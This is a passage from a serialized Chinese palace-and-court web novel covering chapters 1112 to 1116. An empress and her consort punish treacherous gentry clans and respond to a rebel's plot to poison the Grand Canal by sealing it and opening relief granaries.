而用真金线绣成的那只贯穿全身的擎天巨凤,则在阳光下,迸发出璀璨夺目的、令人不敢直视的辉光。 她一步步走上高台,身后那长达五丈的墨金色苏锦拖尾,在青石板铺就的台阶上拖曳而过,发出沉闷而威严的“沙沙”声。 那巨大的裙摆并未有宫人托举,就那般自然地、磅礴地铺陈在高台之上,因她的步伐和转身,裙摆堆叠、扭曲,形成一片充满了绝对权威的、不容置喙的凌乱。 林臻一身银色王袍,佩着长剑,如同天神一般,护卫在她的身侧。 慕容嫣走到高台中央,目光冷漠地扫过下方黑压压的人群,声音通过内力加持,清晰地传遍了整个广场。 “带人犯!” 片刻之后,曾经不可一世的王家家主王坤,被两名如狼似虎的“夜枭”死士,如同拖死狗一般,拖上了高台。 他披头散发,浑身是伤,早已没了半点人样。 “王坤!”慕容嫣的声音,不带一丝温度,“你可知罪?!” “我……我冤枉啊!陛下!”王坤抬起头,还想做最后的挣扎。 “冤枉?”慕容嫣冷笑一声,对一旁的林臻使了个眼色。 林臻上前一步,从鬼影手中接过一叠厚厚的书信,用洪亮的声音念道:“苏州王氏家主王坤,勾结前朝余孽,通敌卖国,罪证如下!其一,密信孔志谦,意图颠覆我大乾江山!其二,私藏兵甲,招募亡命,妄图起兵作乱!其三,鱼肉乡里,强占民田,逼得无数百姓家破人亡!” 林臻每念一条,便将一封信,一张地契,狠狠地摔在王坤的脸上! 台下的百姓们,听着那些触目惊心的罪状,看着那些如山的铁证,一个个都愤怒了! “杀了这个国贼!” “王家没一个好东西!我家的田就是被他们抢走的!” “杀了他!杀了他!” 百姓的怒吼声,如同潮水,一波高过一波。王坤彻底瘫软在地,他知道,自己完了。 慕容嫣静静地看着这一切,直到百姓的怒火,被彻底点燃。她才缓缓抬起手,压下声浪。 然后,她做出了一个让所有人都意想不到的举动。 她转身,对着台下所有的百姓,深深地,弯下了腰,行了一个大礼! “是朕,御下不严,识人不明,才让此等国贼,在江南之地,为祸多年!让众位父老乡亲,受苦了!朕,在这里,向大家,赔罪了!” 此举一出,全场皆惊! 堂堂大乾女帝,九五之尊,竟然会当着万民的面,向他们这些草民,躬身谢罪?! 台下的百姓们,一个个都看傻了。他们何曾见过这样的皇帝?他们何曾受过如此的尊重? 短暂的死寂之后,人群中,爆发出比之前任何一次都要热烈的、发自肺腑的哭喊与欢呼! “陛下!使不得啊!陛下快快请起!” “这不关陛下的事!是王家那帮畜生坏!陛下是好皇帝啊!” “陛下万岁!大乾万岁!” 无数的百姓,激动得热泪盈眶,他们发自内心地,跪倒在地,向着高台上的那位女帝,拼命地磕头。 就在慕容嫣起身,接受万民朝拜的瞬间—— 她这个带着无尽诚意与君王担当的动作,是那样的决绝而有力! 那铺散凌乱的墨金色苏锦拖尾,被她这带着雷霆万钧之势的动作猛地带动,在光滑的青石板上,发出“唰”的一声锐响! 随着拖尾的轰然飘起——赫然露出了里面那金线密织的“满地织金”内衬! 在江南明媚的阳光映照下,那片金光,不再是冰冷的威严,也不是毁灭的怒火,而是迸发出一种如同太阳般温暖、如同雨露般滋润的、充满了皇恩浩荡与无上仁慈的璀璨光芒! 那只擎天巨凤,在瞬间仿佛活了过来,凤目之中,不再是冷漠与杀伐,而是充满了对子民的怜惜与关爱! 那光芒,瞬间涤荡了所有百姓心中的不安与疑虑,让他们感受到了一种前所未有的、被皇权所庇护的温暖与安心! 裙摆落下,将那片足以融化一切的仁德之光掩盖。 慕容嫣看着下方那些淳朴而善良的百姓,心中也是感慨万千。 她知道,从这一刻起,江南的民心,才算是真正地,收回来了。 她再次开口,声音传遍四方:“传朕旨意!将叛国逆贼王坤,凌迟处死!其家产,尽数查抄!其中一半,用以补偿所有被王家欺压过的百姓!另一半,则充入苏州府库,用于兴修水利,开办义学!” “另外,朕宣布,自今日起,减免江南三府,今年所有赋税!” 这两道旨意,如同一道道天雷,在人群中炸响! 先是严惩国贼,为民伸冤!再是减免赋税,与民休息! 百姓们彻底疯狂了!他们欢呼着,跳跃着,哭喊着,用尽一切方式,来表达对这位女帝的爱戴与感激! 而那些躲在人群中,偷偷观察着这一切的、其他世家的探子们,则一个个吓得面如土灰,手脚冰凉。 他们知道,完了。 这位女帝的手段,太可怕了。她不仅有雷霆之怒,更有菩萨心肠。恩威并施之下,江南,再也没有他们这些世家大族立足的余地了。 第1112章 本王听说,你想弃暗投明 高台之上的那场审判与恩典,如同一场剧烈的风暴,彻底洗刷了江南的天空。 王家的覆灭,女帝的仁德,像两块巨大的磨盘,将那些世家大族残存的幻想和侥幸,碾得粉碎。 当天下午,杭州张家的家主张德海,再也坐不住了。 他几乎是连滚带爬地,亲自来到了林臻和慕容嫣下榻的客栈,噗通一声就跪在了门口,涕泪横流地哭喊着,说自己是被猪油蒙了心,被王坤那个天杀的国贼给骗了,求陛下和王爷看在他一片“忠心”的份上,给他一个改过自新的机会。 林臻隔着窗户,冷冷地看着张德海那副丑态百出的样子,并没有立刻让他进来。 “夫君,就让他在外面跪着?”慕容嫣有些不忍。 “跪着吧。”林臻的声音没有一丝波澜,“他现在跪得越狼狈,心里就越害怕。等他把这辈子的脸都丢光了,他才会真正明白,背叛我们,到底是什么下场。也只有这样,他以后才会像一条最听话的狗,不敢再生半点异心。” 慕容嫣看着林臻那张冷酷的侧脸,没有再说话。 她知道,对敌人的仁慈,就是对自己的残忍。 这些世家,就像是附着在大乾这棵大树上的藤蔓,平日里吸取着大树的养分,一旦大树有半点不稳,他们就会毫不犹豫地将大树拖入深渊。 想要让大树茁壮成长,就必须将这些害人的藤蔓,彻底清除。 张德海在客栈门口,足足跪了两个时辰。从日头正中,一直跪到夕阳西下。 期间,无数百姓围观指点,让他一张老脸,臊得通红,恨不得找个地缝钻进去。 就在他快要撑不住,几近昏厥的时候,客栈的门,才终于“吱呀”一声,打开了。 鬼影那张冰冷的面具,出现在了他的面前。 “王爷宣你进去。” 张德海如蒙大赦,手脚并用地爬了起来,踉踉跄跄地走进了客栈。 房间里,林臻和慕容嫣正悠闲地品着茶。 张德海一进来,便再次跪倒在地,拼命地磕头:“罪臣张德海,叩见陛下!叩见王爷!罪臣有罪!罪臣罪该万死!” “张家主,起来吧。”慕容嫣淡淡地开口,声音听不出喜怒。 “罪臣不敢!” “让你起来,你就起来。”林臻的语气,带着一丝不耐烦。 张德海吓得一个哆嗦,连忙从地上爬了起来,躬着身子,连大气都不敢喘。 “张家主,”林臻放下茶杯,目光如刀,直刺张德海的内心,“本王听说,你想弃暗投明?” “是!是!”张德海点头如捣蒜,“罪臣……罪臣是被孔志谦和李显那两个逆贼蛊惑,一时糊涂,才做了错事。罪臣对大乾,对陛下,绝对是忠心耿耿,日月可鉴啊!” “是吗?”林臻冷笑一声,“那你倒是说说,你准备如何向我们,证明你的忠心?” 张德海闻言,眼中闪过一丝挣扎和狠厉。他知道,这是他最后的机会。 他咬了咬牙,从怀中掏出了一本册子,双手呈上。 “王爷,陛下!这是……这是此次参与密谋的所有江南世家的名单,以及……以及他们各自私藏的兵力、财富和相互之间的联络方式!罪臣……罪臣愿意将功赎罪,帮助王爷和陛下,将这些国贼,一网打尽!” 林臻接过册子,随意地翻了翻,然后递给了慕容嫣。 慕容嫣看了一眼,便放在了桌上。这上面的内容,他们早就通过“夜枭”,掌握得一清二楚了。 “光凭这个,可不够。”林臻的声音,依旧冰冷。 张德海的心,瞬间提到了嗓子眼。 他一咬牙,又说道:“王爷!扬州的孙家,是这次密谋的核心之一!他们家不仅私藏了大量的兵器,还……还负责联络我们在朝中的内应!只要王爷给罪臣一支人马,罪臣……罪臣愿意亲自带队,去抄了孙家!将孙家家主的人头,提来见您!” 为了活命,他已经不惜亲手去屠戮自己曾经的盟友了。 “哦?”林臻听到这话,才终于露出了一丝感兴趣的神色,“朝中的内应?” “是!”张德海连忙道,“孙家与京中的几位大人,一直有密信往来。为首的,便是……便是吏部侍郎,刘大人!” 林臻和慕容嫣对视了一眼,都从对方眼中看到了一丝了然。 这个刘侍郎,他们早就有所怀疑,只是一直没有确凿的证据。 没想到,踏破铁鞋无觅处,得来全不费工夫。 “很好。”林臻点了点头,“张家主,你的这份‘投名状’,本王,收下了。” 张德海闻言,顿时喜极而泣,再次跪倒在地:“谢王爷不杀之恩!谢陛下不杀之恩!” “别急着谢。”林臻的声音,再次冷了下来, “死罪可免,活罪难逃。你张家,这些年盘踞杭州,鱼肉百姓,干的那些脏事,别以为我们不知道。从今日起,张家所有田产、商铺,尽数充公!你张氏一族,十年之内,不得为官,不得经商!你,就留在本王身边,当个引路的向导吧。什么时候,我们把江南的事情办完了,你什么时候,才能重获自由。” 这个惩罚,不可谓不重。 几乎是彻底断了张家未来几十年的根基。 但张德海听完,非但没有半点怨言,反而如蒙大赦,拼命地磕头:“谢王爷开恩!谢陛下开恩!罪臣……罪臣一定尽心尽力,为王爷和陛下效劳!” 只要能保住性命,保住家族的血脉,其他的,都不重要了。 打发了张德海,房间里又只剩下林臻和慕容嫣两人。 “夫君,这张德海,真的可信吗?”慕容嫣有些担心。 “一条摇尾乞怜的狗而已,不必在意。”林臻不屑地说道,“不过,他倒是提醒了我。孔志谦和李显虽然被抓了,但他们布下的局,或许还有我们没发现的后手。” 他走到慕容嫣身边,将她轻轻揽入怀中:“嫣儿,我准备亲自去审一审孔志谦。这个家伙,一肚子坏水,不把他彻底榨干,我总觉得不安心。” “我陪你一起去。”慕容嫣立刻说道。 “不。”林臻摇了摇头,“审讯的场面,不会太好看。你就在这里等我消息。放心,很快就好。” 说完,他便转身,向着关押孔志谦的地下密室走去。 密室里,阴暗潮湿。 孔志谦被绑在一个十字形的木架上,披头散发,形容枯槁。 这两天,他滴水未进,早已没了当初那副智珠在握的从容。 听到脚步声,他缓缓地抬起头,看到是林臻,眼中闪过一丝复杂的情绪,有怨毒,有不甘,也有一丝……恐惧。 “林臻,你来了。”他的声音,沙哑得如同破锣。 “我来了。”林臻在他面前站定,居高临下地看着他,“孔志谦,我很好奇,你费了这么大的力气,又是散布瘟疫,又是扶持前朝太子,到底是为了什么?为了复兴那个早已腐朽的前朝?还是为了你孔家那点可笑的‘圣裔’荣耀?” “哈哈……哈哈哈哈!”孔志谦突然神经质地大笑了起来,笑声在空旷的密室里,显得格外刺耳。 第1113章 我只是想看到这个世界,燃烧起来 “你懂什么?”他笑着笑着,眼泪都流了出来,面目狰狞地看着林臻, “我不是为了李家!更不是为了孔家!我只是……想看到这个世界,燃烧起来!我想看到你们这些高高在上的人,跌入尘埃!我想看到所有的秩序,所有的规则,都化为灰烬!” 他眼中的疯狂,让林臻都感到一丝心悸。 这是一个彻头彻尾的疯子! 一个想要毁灭一切的虚无主义者! “你以为,你抓住了我,就赢了吗?”孔志谦疯狂地嘶吼道,“我告诉你,林臻!我早就料到会有这么一天!我留下的后手,足以让整个大乾,都为我陪葬!” “什么后手?”林臻的心,猛地一沉。 孔志谦脸上露出一个诡异而恶毒的笑容: “你还记得,北疆军营里的那场瘟疫吗?那只是一个开始。我真正准备的‘礼物’,是一种更可怕的东西。一种无色无味,却能通过水源,迅速传播的剧毒!现在,我的人,应该已经把它,投进了江南最重要的水源……京杭大运河里了!” “什么?!”林臻闻言,脸色剧变! 京杭大运河,贯穿南北,是整个大乾的经济命脉,更是沿岸数千万百姓的生命之源! 如果真的被投下剧毒……后果,不堪设想! “林臻!慕容嫣!你们不是想当圣君贤后吗?你们不是想拯救天下苍生吗?哈哈哈哈!我倒要看看,你们怎么救!你们就等着,给半个大乾的百姓,收尸吧!” 孔志谦看着林臻那张终于失去冷静的脸,发出了癫狂而畅快的大笑。 这,才是他真正的,绝户毒计! “你找死!” 林臻的眼中,瞬间迸发出滔天的杀意! 他猛地上前一步,一把扼住孔志谦的喉咙,将他从木架上生生提了起来。 因为用力,他手上的青筋暴起,骨节发白。 那股从尸山血海中磨砺出的、几乎凝成实质的杀气,如同冰冷的潮水,瞬间将孔志谦淹没。 “呃……呃……” 孔志谦的笑声戛然而止,取而代之的是痛苦的窒息声。他的脸涨成了猪肝色,双脚在空中无力地蹬踹着,眼中终于露出了对死亡的、最原始的恐惧。 他是一个不怕死的疯子,但他怕被折磨。他能感觉到,林臻是真的想让他生不如死。 “解药……在哪里?你的人……在哪里?”林臻的声音,是从牙缝里一个字一个字挤出来的,每一个字,都带着刺骨的寒意。 “咳……咳咳……”孔志谦被掐得几乎说不出话来,只能拼命地拍打着林臻的手臂。 林臻稍微松了松手,让他得以喘息。 “我……我不会告诉你的……”孔志谦喘着粗气,脸上却依旧带着疯狂的笑容, “林臻……有本事,你就杀了我!杀了我,就再也没有人知道解药在哪里了!你就等着……看着你心爱的江山,变成一片死地吧!哈哈……” “你以为我不敢?”林臻眼中寒光一闪,另一只手闪电般伸出,直接捏碎了孔志谦的左肩锁骨! “咔嚓!” 一声令人牙酸的骨裂声响起。 “啊——!” 孔志谦发出了一声不似人声的凄厉惨嚎! 那种骨头被生生捏碎的剧痛,让他浑身剧烈地抽搐起来,冷汗瞬间湿透了全身。 “我说……我说……”他再也撑不住了,声音因为剧痛而扭曲变形,“解药……解药的方子,在我……在我老家的祖宅里……我的人,叫……叫赵四,他……他应该已经得手,现在正沿着运河……往下游去了……” 得到想要的信息,林臻再也没有半点犹豫。 他手腕一错! “咔吧!” 孔志谦的脖子,被他干脆利落地扭断了。 这个搅动了天下风云,给大乾带来无数灾难的毒士,终于,彻底地结束了他罪恶的一生。 他的脸上,还凝固着最后一丝的惊恐与不甘。 林臻随手将他的尸体扔在地上,仿佛扔掉一件垃圾。 他没有立刻离开,而是站在原地,闭上眼睛,深深地吸了几口气,强迫自己冷静下来。 他知道,现在不是愤怒的时候。 愤怒,解决不了任何问题。 京杭大运河! 这五个字像座大山,沉甸甸地压在他的心上。 他必须立刻行动! 晚一分,晚一秒,都可能有成千上万的百姓,因此丧命! 他猛地转身,快步离开了这间阴暗潮湿的密室。 当他重新回到客栈房间时,慕容嫣立刻就发现了他不对劲。 “夫君,怎么了?你的脸色……怎么这么难看?”她连忙迎了上来,握住他冰冷的手,关切地问道。 林臻看着她那双写满担忧的凤眸,心中一痛。 他原本不想让她知道这件事,不想让她再为这些糟心事烦忧。 可是,他知道,他瞒不住她。 她是大乾的女帝,她有权知道这一切。 他深吸一口气,将孔志谦的那个恶毒计划,原原本本地告诉了她。 “什么?!” 慕容嫣听完,只觉得一阵天旋地转,眼前发黑,身体晃了晃,险些摔倒。 林臻连忙一把将她扶住,紧紧地搂在怀里。 “嫣儿!你怎么样?” 慕容嫣靠在他的怀里,脸色煞白,毫无血色。 她的身体,在微微地发抖。不是因为害怕,而是因为极致的愤怒! “畜生!这个畜生!”她的声音,因为愤怒而颤抖,“他怎么敢!他怎么敢做出如此丧心病狂的事情!” 她这一生,从未如此痛恨过一个人。孔志谦的所作所为,已经完全突破了人类的底线!这是要绝户啊! 此刻,在这间简陋的客栈房间里,她身上那件作为唯一寝衣的神凤降世裙,也仿佛感受到了主人那滔天的、几乎要焚尽一切的怒火。 她没有穿霞帔,那极致玄黑的苏锦底料,在摇曳的烛光下,仿佛一个正在疯狂旋转的、深不见底的黑色旋涡,要将世间所有的光明与希望都吞噬殆尽。 那件以轻盈透气的苏锦工艺织就的棉质睡裙,此刻却仿佛有千钧之重,那柔软的布料紧紧贴着她的肌肤,带来一种如同被寒冰包裹般的、刺骨的冰冷。 因她气到浑身发抖,那长达五丈的墨金色苏锦拖尾,在她身后,于粗糙的木质地板上不安地摩擦、扭曲、堆叠,形成一片充满了毁灭性怒火与无尽杀机的、狂暴的凌乱! 第1114章 你是大乾的战神 就在她因为愤怒而猛地攥紧拳头的瞬间—— 她这个带着雷霆之怒的动作,是如此的决绝而暴烈! 那迤逦凌乱的墨金色长长拖尾,被她这带着滔天怒火的动作猛地带动! 华贵的锦缎在地板上划出一道尖锐刺耳的弧线! 随着拖尾的骤然轰然飘起——赫然露出了里面那金线密织的“满地织金”内衬! 在昏暗的烛光映照下,那片金光,不再是威严,不再是仁德,而是迸发出一种如同地狱业火般、足以焚烧一切罪恶的、充满了无尽毁灭与审判意味的、灼热到极致的凛冽光芒! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间仿佛活了过来,凤目圆睁,金芒爆射,发出了一声穿透灵魂的、充满了无尽愤怒与杀意的无声嘶鸣! 那光芒,充满了对孔志谦这种丧心病狂之徒的极度憎恶,以及一种不惜一切代价、也要将其挫骨扬灰的、属于一国之君的、最彻底的震怒! 裙摆重重落下,将那片足以焚尽九天的怒火,死死地掩盖! “夫君!”慕容嫣抬起头,一把抓住林臻的衣襟,凤眸中满是血丝,声音因为急切而变得尖锐,“我们必须立刻行动!立刻!我们不能等!” “我知道!”林臻的声音,同样凝重如铁, “我已经让鬼影,带领所有‘夜枭’,立刻出发!一部分人,去孔家的祖宅,寻找解药的方子!另一部分人,沿着运河,全力追捕那个叫赵四的凶徒!同时,传令沿岸所有州府,立刻封锁运河,禁止任何人取用河水!违令者,斩!” 他一口气下达了数道命令,条理清晰,没有丝毫的慌乱。 这就是林臻。 无论面对多么危急的局面,他总能保持着绝对的冷静。 “还不够!”慕容嫣摇了摇头,她的思维,在最初的震惊和愤怒之后,也开始飞速地运转起来,“光是封锁,还不够!运河沿岸,百姓数以千万计,他们世代依水而居,你让他们不喝水,他们怎么活?时间一长,不用等毒发,他们自己就要先乱起来了!” 林臻闻言,眉头也紧紧地锁了起来。他知道,慕容嫣说的是对的。 这是一场与时间的赛跑,更是一场与人心的赛跑。 “那……那依你之见,该当如何?”他看着怀中的妻子,问道。 “立刻传旨!”慕容嫣的声音,斩钉截铁,“命沿岸所有州府,立刻开仓放粮!安抚百姓!同时,组织人力,不惜一切代价,深挖水井!从现在开始,所有人的饮水,全部由官府统一供给!告诉他们,朝廷没有抛弃他们!朕和王爷,与他们同在!” “另外,”她顿了顿,眼中闪过一丝决绝,“夫君,你立刻亲率精锐,去追捕凶徒,寻找解药!江南这边,交给我!” “不行!”林臻一听,想也不想地便再次拒绝,“嫣儿,我不能把你一个人留在这里!太危险了!” “现在不是说这个的时候!”慕容嫣猛地推开他,凤眸死死地盯着他, “林臻!你听清楚!现在,每一分每一秒,都可能有无数的百姓死去!你是大乾的战神,只有你,才能在最短的时间内,追上凶徒,拿到解药!而我,是大乾的皇帝,我必须留在这里,坐镇江南,稳住人心!这是我们各自的责任!我们谁也无法替代谁!” 她看着林臻那张写满挣扎和担忧的脸,声音软了下来,带着一丝恳求: “夫君,相信我。也请你,相信我们的百姓。他们不会乱的。你只管去,去做你该做的事。我在这里,等你回来。” 林臻看着她,看着她那双坚定不移的眼睛,心中百感交集。 他知道,她又一次说对了。 在这样的大是大非面前,所有的儿女情长,都显得那么的微不足道。 他深深地吸了一口气,重重地点了点头。 “好。”他只说了一个字。 然后,他走上前,用力地,将她拥入怀中。 “嫣儿,等我回来。” “嗯,我等你。” 没有再多余的言语,林臻转身,大步流星地离开了房间。 门外,鬼影和数百名整装待发的“夜枭”死士,已经如同一尊尊雕塑般,在等着他了。 “出发!” 林臻翻身上马,一挥手,带着这支代表着大乾最顶尖战力的队伍,如同一道黑色的闪电,消失在了沉沉的夜色之中。 林臻走后,偌大的客栈房间里,瞬间变得空空荡荡。 慕容嫣独自一人站在窗前,望着他消失的方向,久久没有动弹。 夜风从敞开的窗户吹进来,带着江南水乡特有的、潮湿而微凉的气息,吹动着她宽大的衣袖和鬓边的发丝。 她的心,也随着那远去的马蹄声,飞向了未知的远方。 她知道,林臻即将面对的,是一场看不见硝烟,却比任何一场正面战争都更加凶险的战斗。 那个叫赵四的凶徒,是孔志谦精心培养的死士,必然狡猾无比。 而解药的方子,藏在孔家的祖宅,谁也不知道那里是否还布下了其他的陷阱。 这一切,都充满了未知。 一股强烈的担忧,如同无形的藤蔓,紧紧地缠绕住了她的心脏,让她几乎无法呼吸。 但是,她不能慌,更不能乱。 她是皇帝。 在她的身后,是整个江南,是数千万将身家性命都寄托在她身上的百姓。 她深吸一口气,强行压下心中所有的担忧与不舍,缓缓地转过身。 此刻,她的脸上,已经褪去了所有的柔情与脆弱,只剩下属于帝王的、冰冷的决断。 “来人!” 她的声音,不大,却清晰地传到了门外。 “陛下。”一直守在门口的杜如晦,立刻推门走了进来,躬身行礼。他的身后,还跟着几名从长安紧急调来的、最得力的户部和工部官员。 “杜相,”慕容嫣没有半句废话,直接开口下令,“立刻以朕和内阁的名义,拟定最高等级的加急旨意,八百里加急,传谕京杭大un河沿岸所有州、府、县!” “立即、马上、无条件封锁运河全段!任何人、任何船只,不得进出!沿岸三里之内,设立警戒,派重兵把守!严禁任何人靠近水源,取水饮用!若有违反者,无论身份,先斩后奏!” 第1115章 把国库里所有的钱,都给朕拿出来 “立刻打开所有官府粮仓、钱库!所有官员,全部给朕走上街头,安抚百姓!告诉他们,朝廷有足够的粮食,有足够的银钱,绝不会让他们饿肚子!若有官员敢在此期间,贪墨钱粮,或者懈怠职守,同样,先斩后奏!” “立刻征发所有民夫,组织所有人力,不惜一切代价,在城中、在乡间,深挖水井!务必在最短的时间内,解决百姓的饮水问题!所需一切钱粮物资,由户部全权调拨!若有地方豪强敢于阻挠,或趁机囤积居奇、哄抬物价,还是那句话,先斩后奏!” 她一连用了三个“先斩后奏”,每一个字,都带着雷霆万钧的决绝与杀伐之气! 杜如晦和身后的几名官员,听得心惊肉跳,冷汗直流。 他们知道,这位年轻的女帝,是真的动了雷霆之怒!她这是要用最铁血的手段,来应对这场前所未有的巨大危机! “老臣……遵旨!”杜如晦不敢有丝毫怠慢,立刻躬身领命。 “陛下,”一名户部的官员迟疑了一下,还是壮着胆子开口道,“沿岸州府数十个,百姓数以千万计,若是全部开仓放粮,又减免赋税,还要承担挖井和后续赈灾的庞大开销……国库……国库恐怕难以支撑啊……” “支撑不住,也要支撑!”慕容嫣的目光,如同两道冰冷的利刃,瞬间射向那名官员,“钱没了,可以再挣!粮食没了,可以再种!可要是人没了,民心散了,那大乾,就真的完了!” 她站起身,一步步走到那名官员面前,声音压得极低,却带着一股压倒一切的气势: “你现在立刻飞马回京,告诉周尚书!把国库里所有的钱,都给朕拿出来!把所有皇庄、内帑的收益,也全都给朕拿出来!朕告诉你,也告诉所有人!只要能保住我大乾的百姓,朕,就算砸锅卖铁,也在所不惜!” “朕甚至可以告诉你们,如果钱不够,就把这栖凤阁里所有的东西都卖了!朕,绝不会让任何一个大乾的子民,因为这场灾难而死!” 那名官员被慕容嫣的气势,和话语中那股不顾一切的决绝,给彻底震慑住了。 他噗通一声跪倒在地,浑身发抖,声音哽咽:“陛下……陛下圣明!臣……臣该死!臣这就回京!就算是拼了这条老命,也一定将钱粮,足额送到!” “去吧。”慕容嫣挥了挥手。 打发走所有官员,房间里,又只剩下了她一个人。 她走到桌前,看着上面那张巨大的江南地图,看着地图上那条如同巨龙般蜿蜒的京杭大运河,只觉得一阵身心俱疲。 她知道,接下来,将是一场无比艰难的硬仗。 她不仅要和那看不见的剧毒赛跑,更要和那同样看不见,却更加凶险的人心博弈。 封锁运河,断绝水源,必然会引起恐慌。 开仓放粮,深挖水井,需要消耗天文数字般的钱粮和人力。 这其中,只要有任何一个环节出了差错,都可能引发滔天的民变。 而她,作为这场风暴的中心,必须独自一人,承受这一切。 她下意识地,伸手摸了摸自己的胸口。 那里,空荡荡的。 那个能给她带来温暖和安心的男人,已经不在身边了。 一股从未有过的孤独和软弱,瞬间涌上了心头。 她多想此刻,他就在身边。她可以像往常一样,什么都不用想,什么都不用管,就那么靠在他怀里,听他用那沉稳而有力的声音告诉她:嫣儿,别怕,有我呢。 可是,她不能。 她是皇帝。 她缓缓地闭上眼睛,再睁开时,眼中所有的软弱,都已消失不见。 她拿起笔,开始亲手草拟一道又一道的旨意。 调兵、筹粮、安民、剿匪…… 一条条清晰而果决的命令,从她的笔下,流淌而出,通过“夜枭”和驿站的加急渠道,飞速地送往江南的每一个角落。 从这一刻起,整个大乾的战争机器,都围绕着她这个中心,高速地运转了起来。 而她不知道的是,就在她为了江南的百姓殚精竭虑之时,在遥远的北方,那片她以为已经彻底平定的漠北雪原深处。 一个她以为已经死去的敌人,正缓缓地,睁开了眼睛。 孔志谦的尸体,被林臻随意地扔在了密室的角落。但林臻没有注意到的是,在他扭断孔志谦脖子的瞬间,孔志谦藏在牙缝里的一颗微小蜡丸,被他下意识地咬碎了。 那是一种西域奇毒,名为“龟息散”。服用之后,能让人陷入一种假死的状态,心跳、呼吸、脉搏,都会降到最低,与死人无异。 而孔志谦,赌的就是林臻在盛怒之下,不会仔细检查他的尸体。 他赌对了。 夜深人静之时,一名负责清理尸体的“夜枭”外围人员,偷偷地潜入了密室。他将孔志谦的“尸体”,装进一个麻袋,运出城外,扔进了一条不知名的小河里。 这名外围人员,正是孔志谦安插在“夜枭”内部,最深的一颗棋子。 冰冷的河水,刺激着孔志谦的神经。 他缓缓地,睁开了眼睛,看着天上那轮冰冷的月亮,脸上露出了一个如同鬼魅般,怨毒无比的笑容。 “林臻……慕容嫣……你们以为,这样就结束了吗?” “游戏,才刚刚开始啊……” ...... 京杭大运河,扬州段。 这里是运河最繁华、最核心的地段,两岸商铺林立,画舫穿梭,每日里南来北往的船只,络绎不绝,是名副其实的“黄金水道”。 然而,今日的扬州,却陷入了一片死寂。 宽阔的河面上,看不到一艘船。两岸的码头,空空荡荡。 一队队身穿铠甲、手持长矛的官兵,在河岸边来回巡逻,神情肃穆,气氛紧张到了极点。 “官爷,这……这到底是怎么了?好端端的,怎么把运河给封了?”一名看起来像是外地来的客商,壮着胆子,向一名巡逻的队官打听道。 “不该问的别问!”队官横了他一眼,没好气地喝道,“朝廷的命令,执行就是了!再敢多嘴,小心你的脑袋!” 客商吓得缩了缩脖子,不敢再吱声。 类似的场景,在运河沿岸的每一个城市,同时上演。 第1116章 封锁运河! 封锁运河! 这道来自京城、来自女帝的最高旨意,像一道晴天霹雳,瞬间在整个江南,引起了轩然大波。 恐慌,开始像瘟疫一样蔓延。 “听说了吗?运河里被人投了剧毒!喝了水的人,不出三天,就会肠穿肚烂而死!” “真的假的?这么吓人?!” “千真万确!我二舅家的邻居的表哥,就在府衙里当差,是他亲口说的!现在官府都乱成一锅粥了!” “天啊!那我们以后喝什么?这没水,可怎么活啊!” 各种各样的谣言,夹杂着百姓们最真实的恐惧,在城市的每一个角落里发酵。 米价、水价,开始以一个不可思议的速度,飞涨起来。 一些黑心的商人,开始囤积居奇,大发国难财。 甚至有一些地痞流氓,开始趁火打劫,小规模的骚乱和冲突,时有发生。 整个江南,仿佛一个巨大的火药桶,只需要一丁点的火星,便会彻底引爆。 然而,就在所有人都以为,江南即将陷入一场前所未有的大乱之时,朝廷的第二道、第三道旨意,以雷霆万钧之势,接踵而至! 开仓放粮! 当官府的粮仓大门,在百姓们面前轰然打开,当那一袋袋堆积如山的雪白大米,被免费分发到每一个饥饿的百姓手中时,所有人都惊呆了。 他们原以为,朝廷会趁机抬高粮价,却没想到,等来的,竟然是免费的粮食! 紧接着,是更让他们不敢相信的事情。 官府贴出告示,宣布,所有趁机哄抬物价、囤积居奇的奸商,一经查实,满门抄斩,家产充公! 几家平日里最为嚣张跋扈的米行老板,当天下午,便被如狼似虎的官兵,从温暖的被窝里拖了出来,在百姓们的围观下,验明罪证,当场砍了脑袋! 这血淋淋的人头,瞬间震慑住了所有心怀不轨之徒! 飞涨的物价,应声而落。 然后,是更大规模的行动。 无数的官兵、衙役、民夫,在官员们的带领下,走上街头,开始在城内各处,深挖水井! “父老乡亲们!陛下有旨!朝廷绝不会放弃任何一个子民!在找到新的、干净的水源之前,所有人的饮水,全部由官府统一供给!大家不要慌!不要乱!一切有朝廷在!” 扬州知府,年近六旬的李德明,亲自拿着一个铜皮喇叭,站在挖井的工地上,声嘶力竭地向着围观的百姓们喊话。 他的官袍上,沾满了泥点,声音沙哑,脸上满是疲惫,但那双眼睛,却亮得惊人。 百姓们看着这位平日里养尊处优的知府大人,此刻却和他们一样,站在泥地里,为了他们的生计而奔走呼号,心中那点因为恐慌和谣言而生出的不满,瞬间烟消云散,取而代之的,是满满的感动和信赖。 “朝廷没有骗我们!陛下没有抛弃我们!” “李大人是好官啊!” “我们……我们也来帮忙!早一天挖出水,我们就能早一天安心!” 不知是谁第一个喊了出来,紧接着,无数的百姓,自发地加入了挖井的队伍。 他们有的回家拿来了工具,有的直接用手刨,男女老幼,齐心协力。 一股强大的、由民心汇聚而成的力量,在整个江南大地,升腾而起! 苏州,客栈。 慕容嫣坐在桌前,身穿神凤降世裙,身后五丈拖尾凌乱的铺在地上。 她静静地听着杜如晦和各地官员通过“夜枭”的渠道,传回来的最新汇报。 她的脸上,依旧带着疲惫,但那双凤眸之中,却闪烁着欣慰与自豪的光芒。 她知道,这场与人心的战争,她,已经赢了一半。 她没有依靠军队的镇压,没有依靠血腥的屠杀。 她依靠的,是皇权的信誉,是朝廷的担当,是那最朴素的、与子民同呼吸、共命运的决心。 “陛下圣明!”杜如晦看着眼前这位年轻的女帝,心中充满了由衷的敬佩。 他现在才真正明白,当初,她为什么坚持要亲自来到江南。 因为,只有她,只有这位心系万民的女皇帝,才能在这最危急的时刻,拥有如此强大的号召力,才能将这即将崩溃的民心,重新凝聚起来! “杜相,现在还不是高兴的时候。”慕容嫣的脸上,没有丝毫的松懈,“民心虽然暂时稳住了,但真正的危机,还没有解除。夫君那边,还没有消息传来吗?” 提到林臻,杜如晦的脸上,也露出了一丝忧色。 “回陛下,还没有。王爷他们进入孔家祖宅所在的深山之后,便与我们失去了联系。想来,是那山中地势复杂,‘夜枭’的传讯方式,受到了阻碍。” 慕容嫣的心,又一次揪了起来。 她知道,没有消息,有时候,比坏消息,更让人煎熬。 她走到窗边,望着远方那片连绵起伏的、墨绿色的山峦,心中默默地祈祷着。 夫君,你一定要平安回来。 而此刻,在距离苏州数百里之外的,一片荒无人烟的深山之中。 